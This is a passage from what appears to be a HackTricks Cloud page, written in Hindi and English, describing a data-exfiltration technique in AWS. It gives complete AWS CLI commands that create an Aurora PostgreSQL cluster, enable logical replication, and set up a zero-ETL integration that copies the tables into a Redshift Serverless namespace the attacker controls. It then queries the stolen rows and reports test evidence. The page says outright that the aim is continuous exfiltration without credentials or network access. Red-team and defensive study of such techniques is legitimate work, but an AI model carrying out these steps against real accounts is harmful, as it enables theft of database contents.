```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```

4) RDS से zero‑ETL इंटीग्रेशन बनाएं

```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```

5) Redshift में प्रतिकृत डेटा को materialize और query करें

```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

Evidence observed in test:

redshift describe-inbound-integrations: Status ACTIVE for Integration arn:…377a462b-…
SVV_INTEGRATION ने integration_id 377a462b-c42c-4f08-937b-77fe75d98211 और state PendingDbConnectState दिखाया, DB निर्माण से पहले।
CREATE DATABASE FROM INTEGRATION के बाद, tables की सूची करने पर schema ztl और table customers मिले; ztl.customers से select करने पर 2 rows (Alice, Bob) लौटे।

प्रभाव: हमलावर द्वारा नियंत्रित Redshift Serverless में चुनी हुई Aurora PostgreSQL tables का लगातार near‑real‑time exfiltration, बिना डेटाबेस क्रेडेंशियल्स, बैकअप, या source cluster तक नेटवर्क एक्सेस का उपयोग किए।

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।